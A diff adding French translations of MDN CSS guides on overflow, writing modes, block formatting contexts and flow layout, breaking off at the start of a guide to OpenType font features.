+<div>{{QuickLinksWithSubpages("/fr/docs/Web/CSS/CSS_Flow_Layout/")}}</div>
+
+<p class="summary">Lorsque le conteneur est trop petit pour son contenu, on obtient une situation de dépassement. Le comportement du dépassement est importante dès qu'on manipule des objets CSS dont la taille est contrainte. Dans ce guide, nous verrons le fonctionnement du dépassement avec le flux normal.</p>
+
+<h2 id="Qu'est-ce_que_le_dépassement">Qu'est-ce que le dépassement ?</h2>
+
+<p>Pour créer un exemple de dépassement, prenons un élément avec une hauteur et une largeur fixés puis ajoutons un contenu trop important dans la boîte :</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/overflow.html", '100%', 700)}}</p>
+
+<p>Le contenu « arrive » dans la boîte puis remplit celle-ci et ensuite, il dépasse en affichant du contenu en dehors de la boîte éventuellement en dessous du contenu environnant. Pour contrôler le comportement du dépassement, on pourra utiliser la propriété <code><a href="/fr/docs/Web/CSS/overflow">overflow</a></code>. La valeur initiale de cette propriété est <code>visible</code> et c'est pour cela qu'on voit le contenu dépasser.</p>
+
+<h2 id="Contrôler_le_dépassement">Contrôler le dépassement</h2>
+
+<p>La propriété <code>overflow</code> possède d'autres valeurs qui permettent de contrôler le dépassement. Afin de masquer le contenu qui dépasse, on peut utiliser la valeur <code>hidden</code>. Avec cette valeur, une partie du contenu peut ne pas être visible.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/hidden.html", '100%', 700)}}</p>
+
+<p>Avec la valeur <code>scroll</code>, le contenu est dans la boîte et des barres de défilement sont ajoutées à la boîte afin de pouvoir défiler et voir le contenu. Les barres de défilement seront ajoutées, même si le contenu « tient » dans la boîte.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/scroll.html", '100%', 700)}}</p>
+
+<p>Avec la valeur <code>auto</code>, le contenu sera affiché sans barre de défilement s'il tient dans la boîte. S'il dépasse, des barres de défilement sont ajoutées. En comparant l'exemple précédent avec celui qui suit, on peut voir que <code>overflow: scroll</code> ajoute des barres de défilement verticales et horizontales (même s'il y a uniquement besoin du défilement vertical). Avec la valeur <code>auto</code>, seules les barres de défilement nécessaires sont ajoutées.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/auto.html", '100%', 700)}}</p>
+
+<p>Comme nous l'avons vu plus tôt, toute valeur qui est différente de <code>visible</code> créera un nouveau contexte de formatage de bloc.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Dans <a href="https://www.w3.org/TR/css-overflow-3/">le brouillon du module de spécification <em>Overflow</em> de niveau 3</a>, une valeur est ajoutée : <code>overflow: clip</code>. Cette valeur agira comme <code>overflow: hidden</code> mais ne permettra de faire défiler le contenu à l'aide de code. La boîte ne pourra pas défiler. De plus, cette valeur ne crée pas de contexte de formatage de bloc.</p>
+</div>
+
+<p>Pour être tout à fait précis, la propriété <code>overflow</code> est une <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">propriété raccourcie</a> pour les propriétés <code><a href="/fr/docs/Web/CSS/overflow-x">overflow-x</a></code> et <code><a href="/fr/docs/Web/CSS/overflow-y">overflow-y</a></code>. Si on fournit une valeur, celle-ci sera utilisée pour les deux axes. On peut aussi fournir deux valeurs, auquel cas la première sera utilisée pour <code>overflow-x</code> et la seconde pour <code>overflow-y</code>. Dans l'exemple qui suit, seule <code>overflow-y: scroll</code> est utilisée et la barre de défilement horizontale superflue n'est pas ajoutée.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/overflow-y.html", '100%', 700)}}</p>
+
+<h2 id="Les_propriétés_relatives">Les propriétés relatives</h2>
+
+<p>Dans le guide sur <a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes">les modes d'écriture et la disposition en flux</a>, nous avons étudié des propriétés plus récentes <code>block-size</code> et <code>inline-size</code> qui permettent de raisonner avec les modes d'écriture plutôt qu'avec les dimensions physiques de l'écran. La spécification de niveau 3 Overflow inclut également les propriétés correspondantes pour le dépassement : <code><a href="/fr/docs/Web/CSS/@media/overflow-block">overflow-block</a></code> et <code><a href="/fr/docs/Web/CSS/@media/overflow-inline">overflow-inline</a></code>. Ces propriétés « logiques » correspondent aux propriétés « physiques » <code>overflow-x</code> et <code>overflow-y</code> où la correspondance varie en fonction du mode d'écriture du document.</p>
+
+<p>À l'heure où nous écrivons ces lignes, ces deux propriétés ne sont pas implémentées par les navigateurs et il faut donc s'en tenir aux propriétés physiques et ajuster selon le mode d'écriture.</p>
+
+<h2 id="Gérer_le_dépassement">Gérer le dépassement</h2>
+
+<p>Dans la spécification de niveau 3 sur le dépassement, certaines propriétés aident à améliorer l'apparence du contenu lors d'un dépassement.</p>
+
+<h3 id="Dépassement_sur_l'axe_en_ligne">Dépassement sur l'axe en ligne</h3>
+
+<p>La propriété <code><a href="/fr/docs/Web/CSS/text-overflow">text-overflow</a></code> indique comment afficher le texte qui dépasse sur l'axe en ligne. La valeur <code>clip</code> qui coupe le contenu qui dépasse, c'est la valeur initiale et le comportement par défaut. La valeur <code>ellipsis</code> permet d'afficher une ellipse qui peut être adaptée en fonction de la langue ou du mode d'écriture utilisé.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/text-overflow.html", '100%', 500)}}</p>
+
+<h3 id="Dépassement_sur_l'axe_de_bloc">Dépassement sur l'axe de bloc</h3>
+
+<p>Il existe également une proposition pour une propriété <code>block-overflow</code>. Toutefois, celle-ci (ainsi que son nom) est toujours en discussion. La proposition consisterait à pouvoir afficher une ellipse lorsque le contenu dépasse sur l'axe de bloc.</p>
+
+<p>Cette propriété serait par exemple utile lorsqu'on a une liste d'article avec une boîte pour chaque article dont la hauteur est fixée. Si le texte qui dépasse est masqué, ce n'est pas nécessairement évident qu'il y a du contenu supplémentaire et qu'il faut cliquer pour le lire. Ajouter une ellipse rendrait ce dépassement plus perceptible.</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Qu'on manipule un média « continu » sur le Web ou un format paginé (impression ou EPUB), il est utile de comprendre la façon dont le dépassement agit, quelle que soit la méthode de dépassement. En comprenant comment le dépassement fonctionne avec le flux normal, ce devrait être plus simple de comprendre le fonctionnement du dépassement pour les autres méthodes comme les grilles ou les boîtes flexibles.</p>
diff --git a/files/fr/web/css/css_flow_layout/disposition_flux_et_modes_écriture/index.html b/files/fr/web/css/css_flow_layout/disposition_flux_et_modes_écriture/index.html
new file mode 100644
index 0000000000..2ecf299ce2
--- /dev/null
+++ b/files/fr/web/css/css_flow_layout/disposition_flux_et_modes_écriture/index.html
@@ -0,0 +1,90 @@
+---
+title: Disposition de flux et modes d'écriture
+slug: Web/CSS/CSS_Flow_Layout/Disposition_flux_et_modes_écriture
+tags:
+  - CSS
+  - Guide
+  - Mode d'écriture
+translation_of: Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes
+---
+<p class="summary">La spécification CSS 2.1, qui décrit le comportement classique du flux normal, prend l'hypothèse d'un mode d'écriture horizontal. <a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Disposition_de_bloc_en_ligne_avec_flux_normal">Les propriétés liées à la disposition</a> devraient fonctionner de façon identique pour les modes d'écritures verticaux. Dans ce guide, nous verrons comment le flux normal se comporte selon les différents modes d'écriture.</p>
+
+<p>Ce guide n'est pas un guide exhaustif sur l'utilisation des modes d'écriture en CSS. Son objectif est de documenter les interactions, éventuellement inattendues, entre le flux et les modes d'écriture. Pour plus de ressources à ce sujet, vous pouvez vour référer aux <a href="#Ressources_externes">ressources externes</a> ainsi qu'à la section <a href="#Voir_aussi">Voir aussi</a> en fin de page.</p>
+
+<h2 id="La_spécification_des_modes_d'écriture">La spécification des modes d'écriture</h2>
+
+<p>Le module de spécification <em>CSS Writing Modes</em> de niveau 3 définit l'impact du mode d'écriture sur le flux. Voici l'introduction <a href="https://drafts.csswg.org/css-writing-modes-3/#text-flow">de la spécification </a>quant aux modes d'écriture :</p>
+
+<blockquote>
+<p>« En CSS, un mode d'écriture est défini par les propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. Ce mode est principalement défini selon sa direction en ligne (<em>inline</em>) et selon sa direction de bloc. »</p>
+</blockquote>
+
+<p>La spécification définit la direction en ligne comme la direction selon laquelle le contenu est ordonné sur une ligne. Cela définit le début et la fin de la direction en ligne. Le début correspond à l'emplacement du début d'une phrase sur la ligne et la fin correspond à l'emplacement où la ligne de texte se coupe pour passer sur une nouvelle ligne.</p>
+
+<p>La direction de bloc correspond à la direction selon laquelle les boîtes (ex. les paragraphes) s'empilent pour ce mode d'écriture. La propriété <code>writing-mode</code> contrôle la direction de bloc. Si on souhaite changer la page ou une partie de la page afin d'utiliser la direction <code>vertical-lr</code>, on pourra utiliser <code>writing-mode: vertical-lr</code> sur un élément. Cela aura pour effet de modifier la direction de bloc et, par conséquent, de modifier la direction en ligne.</p>
+
+<p>Les modes d'écritures peuvent être utilisés pour respecter la façon d'écrire de certaines langues. Ils peuvent également être utilisés à des fins stylistiques (pour avoir un titre vertical par exemple).</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/creative-use.html", '100%', 720)}}</p>
+
+<h2 id="La_propriété_writing-mode_et_le_flux_de_bloc">La propriété <code>writing-mode</code> et le flux de bloc</h2>
+
+<p>La propriété {{cssxref("writing-mode")}} s'utilise avec les valeurs <code>horizontal-tb</code>, <code>vertical-rl</code> et <code>vertical-lr</code>. Ces valeurs contrôlent la direction selon laquelle les blocs se suivent sur la page. La valeur initiale de cette propriété est <code>horizontal-tb</code> ce qui signifie que l'axe de bloc est dirigé de haut en bas (<code>tb</code> pour <em>top to bottom</em> qui signifie de haut en bas) et que l'axe en ligne est horizontal. Les langues qui s'écrivent de gauche à droite telles que le français ou les langues qui s'écrivent de droite à gauche telles que l'arabe utilisent toutes <code>horizontal-tb</code>.</p>
+
+<p>Voici un exemple avec <code>horizontal-tb</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/horizontal-tb.html", '100%', 720)}}</p>
+
+<p>La valeur <code>vertical-rl</code> permet d'avoir une direction de bloc de droite à gauche et une direction en ligne verticale, comme on peut le voir dans l'exemple qui suit.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/vertical-rl.html", '100%', 720)}}</p>
+
+<p>Dans cet autre exemple, on voit comment se comporte la troisième valeur possible pour <code>writing-mode</code> : <code>vertical-lr</code>. On a une direction de bloc horizontal de la gauche vers la droite et une direction en ligne verticale.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/vertical-lr.html", '100%', 720)}}</p>
+
+<h2 id="Les_boîtes_utilisant_un_mode_d'écriture_différent_de_leur_parent">Les boîtes utilisant un mode d'écriture différent de leur parent</h2>
+
+<p>Lorsqu'une boîte imbriquée se voit affecter un mode d'écriture différent de son parent, une boîte en ligne s'affichera comme si elle avait <code>display: inline-block</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/inline-change-mode.html", '100%', 720)}}</p>
+
+<p>Une boîte de bloc créera un nouveau contexte de formatage. Ainsi, si son type d'affichage intérieur vaut <code>flow</code>, le type d'affichage calculé sera <code>flow-root</code>. On peut voir ce comportement dans l'exemple qui suit où la boîte affichée avec <code>horizontal-tb</code> contient un élément flottant contenu car son élément parent crée un nouveau contexte de formatage.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/block-change-mode.html", '100%', 720)}}</p>
+
+<h2 id="Les_éléments_remplacés">Les éléments remplacés</h2>
+
+<p>Les éléments remplacés tels que les images ne changeront pas d'oritentation selon la valeur de la propriété <code>writing-mode</code>. Toutefois, les éléments remplacés tels que les éléments de formulaires qui incluent du texte devraient utiliser le mode d'écriture courant.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/replaced.html", '100%', 720)}}</p>
+
+<h2 id="Les_propriétés_et_valeurs_logiques">Les propriétés et valeurs logiques</h2>
+
+<p>Lorsqu'on travaille avec des modes d'écriture autres que <code>horizontal-tb</code>, la plupart des propriétés et des valeurs correspondant aux dimensions physiques de l'écran semblent étranges. Ainsi, si on a une boîte qui fait 100 pixels de large, avec <code>horizontal-tb</code> cette largeur sera selon la direction en ligne. Mais avec le mode <code>vertical-lr</code> cela contrôlera la direction de bloc car elle ne tourne pas avec le texte.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/width.html", '100%', 720)}}</p>
+
+<p>C'est pour cela que des propriétés <em>logiques</em> ont fait leur apparition comme {{cssxref("block-size")}} et {{cssxref("inline-size")}}. Si on fournit <code>inline-size: 100px</code> sur un bloc, peu importe qu'on ait un mode d'écriture horizontal ou vertical, <code>inline-size</code> correspondra à la direction en ligne quoi qu'il arrive.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/inline-size.html", '100%', 720)}}</p>
+
+<p>Le module de spécification <a href="/en-US/docs/Web/CSS/CSS_Logical_Properties">CSS sur les propriétés et valeurs logiques</a> contient des versions logiques des propriétés contrôlant les marges, le remplissage (<em>padding</em>) et les bordures et d'autres correspondances pour les concepts qu'on manipulait habituellement avec des directions <em>physiques</em>.</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Dans la plupart des cas, la disposition de flux fonctionne comme on s'y attend lorsqu'on change le mode d'écriture du document ou d'une de ses parties. Les modes d'écritures peuvent être utilisés pour écrire correctement une langue ou pour des aspects créatifs. CSS facilite cette utilisation en introduisant des propriétés et des valeurs logiques qui fonctionnent de façon homogène quel que soit le mode d'écriture. On peut alors créer des composants qui fonctionneront avec différents modes d'écriture.</p>
+
+<h2 id="Voir_aussi_2"><a id="Voir_aussi" name="Voir_aussi">Voir aussi</a></h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Writing_Modes">Les modes d'écritures</a></li>
+</ul>
+
+<h2 id="Ressources_externes_2"><a id="Ressources_externes" name="Ressources_externes">Ressources externes</a></h2>
+
+<ul>
+ <li><em><a href="https://24ways.org/2016/css-writing-modes/">CSS Writing Modes (en anglais)</a></em> par Jen Simmons sur <em>24 Ways</em></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/fr/docs/Web/CSS/CSS_Flow_Layout/")}}</div>
diff --git a/files/fr/web/css/css_flow_layout/explications_contextes_formatage/index.html b/files/fr/web/css/css_flow_layout/explications_contextes_formatage/index.html
new file mode 100644
index 0000000000..88ed84ff16
--- /dev/null
+++ b/files/fr/web/css/css_flow_layout/explications_contextes_formatage/index.html
@@ -0,0 +1,89 @@
+---
+title: Explications quant aux contextes de formatage
+slug: Web/CSS/CSS_Flow_Layout/Explications_contextes_formatage
+tags:
+  - CSS
+  - Guide
+  - Intermédiaire
+translation_of: Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Dans cet article, nous aborderons le concept des contextes de formatage. Ceux-ci peuvent être de dfiférents types : contextes de formatage de bloc, contextes de formatage en ligne, contextes de formatage flexibles. Nous verrons les bases de leur comportement et comment les utiliser.</p>
+
+<p>Sur une page web, tout s'inscrit dans un <strong>contexte de formatage</strong>, une zone qui a été définie pour être organisée d'une certaine façon. Un <strong>contexte de formatage en bloc</strong> (ou <em>block formatting context</em> (<abbr title="Block Formatting Context">BFC</abbr>)) organisera ses éléments fils selon une disposition en bloc, un <strong>contexte de formatage flexible</strong> organisera ses éléments fils comme des objets flexibles, etc. Chaque contexte de formatage possède des règles spécifiques qui décrivent le comportement de la disposition pour ce contexte.</p>
+
+<h2 id="Le_contexte_de_formatage_de_bloc">Le contexte de formatage de bloc</h2>
+
+<p>L'élément <code>html</code> définit le contexte de formatage de bloc initial pour la page. Cela signifie que tous les éléments contenus dans <code>&lt;html&gt;&lt;/html&gt;</code> s'organisent selon le flux normal en suivant les règles de la disposition de bloc et en ligne. Les élméents qui participent à un contexte de formatage de bloc (<em>Block formatting context</em> ou BFC en anglais) utilisent les règles décrites par le modèle de boîte CSS qui définit la façon dont les marges, bordures et zones de remplissage (<em>padding</em>) d'un élément interagissent avec les autres blocs du même contexte.</p>
+
+<h3 id="Créer_un_nouveau_contexte_de_formatage_de_bloc">Créer un nouveau contexte de formatage de bloc</h3>
+
+<p>L'élément {{HTMLElement("html")}} n'est pas le seul élément capable de créer un nouveau contexte de formatage de bloc. Des propriétés CSS peuvent également être utilisées afin de créer un contexte de formatage de bloc. Cela peut s'avérer utile car un nouveau contexte se comportera comme notre document : on aura une mini-disposition contenu dans la disposition principale. Un contexte de formatage de bloc contient tout ses éléments fils et ses descendants. Le flottement ({{cssxref("float")}}) ou le dégagement ({{cssxref("clear")}}) ne s'appliqueront qu'aux éléments d'un même contexte de formatage. Les marges ne <a href="/fr/docs/Web/CSS/Modèle_de_boîte_CSS/Fusion_des_marges">fusionneront</a> que pour des éléments d'un même contexte formatage.</p>
+
+<p>Au delà de l'élément racine du document (ici l'élément <code>html</code>), un nouveau contexte de formatage de bloc est créé dans les situations suivantes :</p>
+
+<ul>
+ <li>Pour les éléments flottants ({{cssxref("float")}})</li>
+ <li>Pour les éléments positionnés de façon absolue (y compris avec {{cssxref("position", "position: fixed", "#fixed")}} ou {{cssxref("position", "position: sticky", "#sticky")}})</li>
+ <li>Pour les éléments avec {{cssxref("display", "display: inline-block", "#inline-block")}}</li>
+ <li>Pour les cellules de tableau ou pour les éléments avec <code>display: table-cell</code>, y compris pour les cellules de tableau anonymes créées avec les propriétés <code>display: table-*</code></li>
+ <li>Les légendes de tableau ou les éléments avec <code>display: table-caption</code></li>
+ <li>Les éléments de blocs pour lesquels <code>overflow</code> a une valeur différente de <code>visible</code></li>
+ <li><code>display: flow-root</code></li>
+ <li>Les éléments avec {{cssxref("contain", "contain: layout", "#layout")}}, <code>content</code> ou <code>strict</code></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Concepts_de_base_flexbox">Les élément flexibles</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base">Les éléments de grille</a></li>
+ <li><a href="fr/docs/Web/CSS/CSS_Columns/Concepts_base_multi-colonnes">Les conteneurs multi-colonnes</a></li>
+ <li>Les éléments avec {{cssxref("column-span")}}:<code>all</code></li>
+</ul>
+
+<p>Prenons quelques exemples afin de voir les conséquences de la création d'un nouveau contexte de formatage de bloc.</p>
+
+<p>Dans le prochain exemple, on a un élément flottant à l'intérieur d'un élément <code>&lt;div&gt;</code> où une bordure est appliquée. Le contenu de cet élément <code>div</code> flotte avec l'élément flottant. Le contenu de l'élément flottant étant plus grand que le contenu environnant, la bordure du <code>div</code> passe sur le contenu flottant. Comme expliqué dans <a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">le guide sur les éléments appartenant ou non au flux</a>, l'élément flottant a été retiré du flux afin que l'arrière-plan et la bordure du <code>div</code> ne contienne que le contenu et pas l'élément flottant.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}</p>
+
+<p>En créant un nouveau contexte, l'élément flottant serait contenu dans ce contexte. Par le passé, une méthode classique consistait à appliquer <code>overflow: auto</code> ou à utiliser d'autres valeurs que <code>overflow: visible</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-overflow.html", '100%', 720)}}</p>
+
+<p>En utilisant <code>overflow: auto</code>, on crée un nouveau contexte de formatage de bloc qui contient l'élément flottant. Notre élément <code>div</code> devient en quelque sorte responsable de sa disposition interne et chaque élément enfant sera intégré dans cette disposition.</p>
+
+<p>Toutefois, utiliser <code>overflow</code> pour créer un nouveau contexte de formatage peut poser problème car la propriété <code>overflow</code> est avant tout conçue pour indiquer au navigateur comment on souhaite gérer le contenu qui dépasse. On peut obtenir des situations où on obtient des barres de défilement indésirables ou des ombres rognées lorsqu'on utilise principalement cette propriété pour créer un nouveau contexte. De plus, cette méthode peut ne pas être évidente et lisible pour un autre développeur et complexifier la maintenance du code associé. Si vous devez utiliser cette méthode, mieux vaudra commenter le code pour l'expliquer.</p>
+
+<h3 id="Créer_un_contexte_de_formatage_de_bloc_explicite_utiliser_display_flow-root">Créer un contexte de formatage de bloc explicite : utiliser <code>display: flow-root</code></h3>
+
+<p>Une valeur plus récente de <code>display</code> permet de créer un nouveau contexte de formatage de bloc sans autre effet de bord indésirable. En utilisant <code>display: flow-root</code> sur le bloc englobant, on créera un nouveau contexte de formatage de bloc.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-flow-root.html", '100%', 720)}}</p>
+
+<p>Ainsi, en utilisant <code>display: flow-root;</code> sur l'élément {{HTMLElement("div")}} tout son contenu contribue au contexte de formatage de bloc et l'élément flottant n'est plus éjecté en bas de l'élément.</p>
+
+<p>Le nom de cette valeur, <code>flow-root</code>, prend son sens lorsqu'on voit que l'élément agit comme une racine (<code>root</code>) pour le nouveau contexte qui est créé.</p>
+
+<h2 id="Un_contexte_de_formatage_en_ligne">Un contexte de formatage en ligne</h2>
+
+<p>Les contextes de formatage en ligne existent au sein des autres contextes de formatage et peuvent être vus comme le contexte d'un paragraphe. Un paragraphe crée un contexte de formatage en ligne au sein duquel les éléments {{HTMLElement("strong")}}, {{HTMLElement("a")}} ou {{HTMLElement("span")}} entre autres, sont utilisés sur du texte.</p>
+
+<p>Le modèle de boîte ne s'applique pas complètement aux objets qui s'inscrivent dans un contexte de formatage en ligne. Pour une ligne écrite avec un mode d'écriture horizontal, les remplissages (<em>padding</em>), bordures et marges seront appliqués à l'élément et écarteront le texte environnant à droite et ou à gauche. Le remplissage et bordures verticaux seront appliqués mais peuvent chevaucher le contenu au dessus et en dessous. Pour un contexte de formatage en ligne, les boîtes de ligne ne seront pas décalées par les bordures ou par le remplissage.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/inline.html", '100%', 720)}}</p>
+
+<h2 id="Les_autres_contexte_de_formatage">Les autres contexte de formatage</h2>
+
+<p>Ce guide porte sur la disposition de flux et n'aborde pas tous les contextes de formatage possibles en dehors de ce type de disposition. Il est important de comprendre que n'importe quel contexte de formatage modifiera la façon dont ses éléments et son contenu sont organisés. Le comportement des autres contextes de formatage est décrit dans les modules de spécification respectifs et sur MDN.</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Dans ce guide, nous avons approfondi les notions relatives aux contextes de formatage en ligne et de bloc. Dans le prochain guide, nous verrons <a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Disposition_flux_et_modes_écriture">les interactions entre le flux normal et les différents modes d'écriture</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Block_formatting_context">Contexte de formatage de bloc (ou <em>Block Formatting Context</em> (BFC) en anglais)</a></li>
+ <li><a href="/fr/docs/Web/CSS/Modèle_de_mise_en_forme_visuelle">Modèle de formatage visuel</a></li>
+ <li><a href="/fr/docs/Web/CSS/Modèle_de_boîte_CSS">Modèle de boîte CSS</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/fr/docs/Web/CSS/CSS_Flow_Layout/")}}</div>
diff --git a/files/fr/web/css/css_flow_layout/index.html b/files/fr/web/css/css_flow_layout/index.html
new file mode 100644
index 0000000000..236f7b9341
--- /dev/null
+++ b/files/fr/web/css/css_flow_layout/index.html
@@ -0,0 +1,42 @@
+---
+title: CSS Flow Layout
+slug: Web/CSS/CSS_Flow_Layout
+tags:
+  - CSS
+  - CSS Flow Layout
+  - Reference
+translation_of: Web/CSS/CSS_Flow_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Le <em>flux normal</em> ou « disposition en flux » (<em>Flow Layout</em>) correspond à la façon dont les éléments de bloc et les éléments en ligne sont disposés avant tout changement apporté à leur disposition. Lorsqu'un élément est retiré du <em>flux</em>, il est traité indépendamment.</p>
+
+<p>Avec un flux normal, les <strong>éléments en ligne (<em>inline elements</em>)</strong> sont affichés dans la direction « en incise », c'est-à-dire dans le sens dans lequel les mots sont écrits selon <a href="/fr/docs/Web/CSS/CSS_Writing_Modes">le mode d'écriture</a> du document. Les <strong>éléments de bloc (<em>block elements</em>)</strong> sont affichés les uns après les autres, à la façon des paragraphes selon le mode d'écriture du document.</p>
+
+<p>Par exemple, pour un document français, les éléments en ligne sont affichés les uns à la suite des autres de gauche à droite et les éléments de bloc sont affichés les uns en dessous des autres.</p>
+
+<h2 id="Exemple_simple">Exemple simple</h2>
+
+<p>Dans l'exemple suivant, on peut voir des boîtes de bloc et des boîtes en ligne. Les deux éléments correspondants aux paragraphes avec des bordures vertes sont des éléments de bloc. Ces deux éléments s'affichent l'un en dessous de l'autre.</p>
+
+<p>La première phrase contient également un élément {{HTMLElement("span")}} avec un arrière-plan bleu. C'est un élément en ligne qui s'affiche donc en incise de la phrase.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/layout/normal-flow.html", '100%', 720)}}</p>
+
+<h2 id="Guides">Guides</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Disposition_de_bloc_en_ligne_avec_flux_normal">Les dispositions de bloc et en ligne dans le flux normal</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Disposition_flux_et_dépassement">La disposition en flux et les dépassements</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Disposition_flux_et_modes_écriture">La disposition en flux et les modes d'écriture</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Explications_contextes_formatage">Explications sur les contextes de formatage</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Dans_le_flux_ou_en_dehors">Être ou non dans le flux</a></li>
+</ul>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Termes_du_glossaire">Termes du glossaire</h3>
+
+<ul>
+ <li><a href="/fr/docs/Glossary/Block/Block_(CSS)">Bloc (CSS)</a></li>
+</ul>
diff --git a/files/fr/web/css/css_fonts/guide_caractéristiques_police_opentype/index.html b/files/fr/web/css/css_fonts/guide_caractéristiques_police_opentype/index.html
new file mode 100644
index 0000000000..6980ff4d78
--- /dev/null
+++ b/files/fr/web/css/css_fonts/guide_caractéristiques_police_opentype/index.html
@@ -0,0 +1,229 @@
+---
+title: Guide des caractéristiques de police OpenType
+slug: Web/CSS/CSS_Fonts/Guide_caractéristiques_police_OpenType
+tags:
+  - CSS
+  - Fonts
+  - Guide
+  - Polices
+translation_of: Web/CSS/CSS_Fonts/OpenType_fonts_guide
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Les caractéristiques de police ou variantes font référence à différents glyphes ou styles de caractère contenus dans une police OpenType. Cela inclut notamment les ligatures (des caractères spéciaux qui permettent de combiner des caractères entre eux comme œ qui est la ligature entre o et e), le crénage (<em>kerning</em> en anglais) qui définit l'espacement entre certaines lettres, les fractions et styles numériques, etc. Toutes ces caractéristiques sont des caractéristiques OpenType Features et peuvent être utilisées sur le Web grâce à certaines propriétés spécifiques qui permettent un contrôle de bas niveau comme {{cssxref("font-feature-settings")}}. Dans cet article, nous verrons tout ce qu'il faut savoir pour manipuler les caractéristiques OpenType avec  CSS.</p>
+
+<p>Pour certaines polices, une ou plusieurs caractéristiques sont activées par défaut (le crénage et les ligatures classiques sont souvent activées par exemple). D'autres caractéristiques sont inactives et peuvent être activées par choix dans certaines situations.</p>
+
+<p>En plus des caractéristiques communément utilisées telles que les ligatures ou <a href="https://fr.wikipedia.org/wiki/Chiffres_elz%C3%A9viriens">les chiffres elzéviriens</a>, il existe d'autres caractéristiques spécifiques telles que les ensembles stylistiques, les ensembles alternatifs voire des ensembles avec des altérations spécifiques pour une langue donnée. Pour ce dernier cas, ces altérations sont nécessaires à l'expression correcte du langage et il s'agit donc d'une caractéristique qui dépasse largement l'aspect purement stylistique d'autres caractéristiques.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Il existe de nombreuses propriétés CSS qui permettent de manipuler les caractéristiques de police. Cependant, la plupart ne sont pas encore complètement implémentées ni prises en charge de façon homogène. Nous les verrons dans cet article mais il faudra la plupart du temps utiliser {{cssxref("font-feature-settings")}} pour les définir à un plus bas niveau. Il est possible d'écrire du CSS qui gère ces deux cas mais c'est plus laborieux. Mais lorsqu'on utilise <code>font-feature-settings</code> pour chaque caractéristique, il est nécessaire de réécrire la chaîne entière même si on ne souhaite changer qu'une caractéristique.</p>
+</div>
+
+<h2 id="Découvrir_la_disponibilité_des_caractéristiques_pour_certaines_polices">Découvrir la disponibilité des caractéristiques pour certaines polices</h2>
+
+<p>Il est parfois délicat de savoir quelles caractéristiques sont disponibles pour une police donnée si celle-ci n'est pas accompagnée d'une documentation (la plupart des fonderies proposeront une page d'exemple et du CSS). Certains sites permettent de contourner ce problème : vous pouvez visiter <a href="https://wakamaifondue.com">wakamaifondue.com</a>, y uploader le fichier de la police et recevoir un rapport complet peu de temps après ; le site <a href="https://axis-praxis.org">Axis-praxis.org</a> fournit des fonctionnalités analogues et permet de cliquer pour activer/désactiver une ou plusieurs caractéristiques sur un bloc de texte donné.</p>
+
+<h2 id="Pourquoi_utiliser_les_caractéristiques_d'une_police">Pourquoi utiliser les caractéristiques d'une police ?</h2>
+
+<p>Étant donné que ces caractéristiques peuvent être difficilement accessibles, on peut légitiement se demander pourquoi il faudrait les utiliser. Pour répondre à cette question, il faut voir comment ces caractéristiques peuvent aider à rendre un site plus lisible, accessible, élégant :</p>
+
+<ul>
+ <li><strong>Les ligatures</strong> telles que œ ou celles qui existent entre 'ff' répartissent plus également l'espace entre les lettres et permettent un lecture plus douce.</li>
